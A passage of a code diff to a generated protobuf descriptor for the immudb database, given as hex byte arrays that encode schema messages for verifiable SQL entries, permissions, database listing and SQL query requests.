0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, + 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, + 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, + 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, + 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, + 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, + 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, + 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, + 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, + 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, + 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, + 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, + 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, + 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, - 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, - 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, - 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, - 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, - 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, - 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, - 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, - 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, - 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, - 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, - 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, - 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, + 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, + 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, + 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, - 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, - 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, - 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 